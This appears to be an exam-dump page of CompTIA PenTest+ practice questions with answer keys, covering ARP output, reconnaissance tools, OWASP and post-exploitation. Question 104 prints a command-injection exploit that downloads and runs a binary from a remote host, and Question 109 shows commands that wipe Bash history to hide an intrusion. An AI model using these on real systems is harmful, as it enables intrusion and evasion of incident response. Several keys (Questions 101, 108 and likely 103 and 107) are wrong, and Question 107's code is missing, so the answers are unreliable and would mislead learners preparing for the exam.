CompTIA CompTIA PenTest+ PT1-002 Questions & Answers

• Question 101:

  A consultant is reviewing the following output after reports of intermittent connectivity issues:

  ? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet] ? (192.168.1.12) at 34:a4:be:09:44:f4 on en0 ifscope [ethernet] ? (192.168.1.17) at 92:60:29:12:ac:d2 on en0 ifscope [ethernet] ? (192.168.1.34) at 88:de:a9:12:ce:fb on en0 ifscope [ethernet] ? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet] ? (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet] ? (224.0.0.251) at 01:02:5e:7f:ff:fa on en0 ifscope permanent [ethernet] ? (239.255.255.250) at ff:ff:ff:ff:ff:ff on en0 ifscope permanent [ethernet]

  Which of the following is MOST likely to be reported by the consultant?

  A. A device on the network has an IP address in the wrong subnet.

  B. A multicast session was initiated using the wrong multicast group.

  C. An ARP flooding attack is using the broadcast address to perform DDoS.

  D. A device on the network has poisoned the ARP cache.

  Correct Answer: B

• Question 102:

  A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)

  A. Wireshark

  B. Nessus

  C. Retina

  D. Burp Suite

  E. Shodan

  F. Nikto

  Correct Answer: AE

  Reference: https://resources.infosecinstitute.com/topic/top-10-network-recon-tools/

• Question 103:

  Which of the following describe the GREATEST concerns about using third-party open-source libraries in application code? (Choose two.)

  A. The libraries may be vulnerable

  B. The licensing of software is ambiguous

  C. The libraries' code bases could be read by anyone

  D. The provenance of code is unknown

  E. The libraries may be unsupported

  F. The libraries may break the application

  Correct Answer: AC

  Reference: https://www.infosecurity-magazine.com/opinions/third-party-libraries-the-swiss/

• Question 104:

  A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:

  exploit = "POST "

  exploit += "/cgi-bin/index.cgi?action=loginandPath=%27%0A/bin/sh${IFS} –

  c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache'%0A%27andloginUser=aandPwd=a" exploit += "HTTP/1.1"

  Which of the following commands should the penetration tester run post-engagement?

  A. grep –v apache ~/.bash_history > ~/.bash_history

  B. rm –rf /tmp/apache

  C. chmod 600 /tmp/apache

  D. taskkill /IM "apache" /F

  Correct Answer: B

• Question 105:

  A penetration-testing team is conducting a physical penetration test to gain entry to a building. Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?

  A. As backup in case the original documents are lost

  B. To guide them through the building entrances

  C. To validate the billing information with the client

  D. As proof in case they are discovered

  Correct Answer: D

  Reference: https://hub.packtpub.com/penetration-testing-rules-of-engagement/

• Question 106:

  A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?

  A. Reach out to the primary point of contact

  B. Try to take down the attackers

  C. Call law enforcement officials immediately

  D. Collect the proper evidence and add to the final report

  Correct Answer: A

• Question 107:

  Given the following code: Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

  A. Web-application firewall

  B. Parameterized queries

  C. Output encoding

  D. Session tokens

  E. Input validation

  F. Base64 encoding

  Correct Answer: BD

• Question 108:

  Which of the following web-application security risks are part of the OWASP Top 10 v2017? (Choose two.)

  A. Buffer overflows

  B. Cross-site scripting

  C. Race-condition attacks

  D. Zero-day attacks

  E. Injection flaws

  F. Ransomware attacks

  Correct Answer: AB

  Reference: https://owasp.org/www-pdf-archive/OWASP_Top_10_2017_RC2_Final.pdf

• Question 109:

  A penetration tester gains access to a system and establishes persistence, and then runs the following commands:

  cat /dev/null > temp touch –r .bash_history temp mv temp .bash_history

  Which of the following actions is the tester MOST likely performing?

  A. Redirecting Bash history to /dev/null

  B. Making a copy of the user's Bash history for further enumeration

  C. Covering tracks by clearing the Bash history

  D. Making decoy files on the system to confuse incident responders

  Correct Answer: C

  Reference: https://null-byte.wonderhowto.com/how-to/clear-logs-bash-history-hacked-linux-systems-cover-your-tracks-remain-undetected-0244768/

• Question 110:

  A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions?

  A. Aircrack-ng

  B. Wireshark

  C. Wifite

  D. Kismet

  Correct Answer: A

  Reference: https://purplesec.us/perform-wireless-penetration-test/